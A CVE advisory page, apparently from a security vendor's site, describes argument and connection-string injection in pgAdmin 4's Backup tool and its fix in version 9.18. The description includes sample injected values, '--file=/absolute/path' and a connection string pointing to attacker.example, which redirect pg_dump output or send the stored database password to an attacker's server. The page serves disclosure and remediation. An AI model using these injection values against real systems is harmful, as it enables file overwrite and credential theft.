CVE-2026-86864
Last modified
CVE-2026-86864 is a high-severity vulnerability rated 8.8/10 on the CVSS scale. pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. EPSS estimates a 0.38% chance of exploitation in the next 30 days.
Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Metrics
Weakness Enumeration
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Pgadmin | Pgadmin 4 | < 9.18 |
References
- https://github.com/pgadmin-org/pgadmin4/issues/10384Issue Tracking, Patch, Vendor Advisory
Timeline
- Published
- Last Modified
- Status
- Analyzed
Frequently Asked Questions
What is CVE-2026-86864?
How severe is CVE-2026-86864?
How do I fix CVE-2026-86864?
How Strix Helps
- How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
Related CVEs from 2026
- CVE-2026-8685The Infility Global plugin for WordPress is vulnerable to SQ…6.5
- CVE-2026-86853A malicious webpage could repeatedly trigger external URL sc…4.3
- CVE-2026-8686Missing bounds validation in the MQTT v5.0 property parser i…9.1
- CVE-2026-86861pgAdmin 4's File Manager save_file endpoint, which backs sav…5.9
- CVE-2026-86862pgAdmin 4's Restore and Maintenance tools passed the client-…6.5
- CVE-2026-86863pgAdmin 4's Webserver authentication source is intended to a…9.8
- CVE-2026-86865Tanium addressed a SQL injection vulnerability in Asset.7.2
- CVE-2026-86869An out-of-bounds write issue was addressed with improved bou…6.5
- CVE-2026-86870A heap buffer overflow was addressed with improved bounds ch…6.5
- CVE-2026-86876An out-of-bounds write issue was addressed with improved bou…5.2
- CVE-2026-86878A permissions issue was addressed with additional restrictio…5.5
- CVE-2026-86879A denial-of-service issue was addressed with improved input …6.5
Are you affected by CVE-2026-86864?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
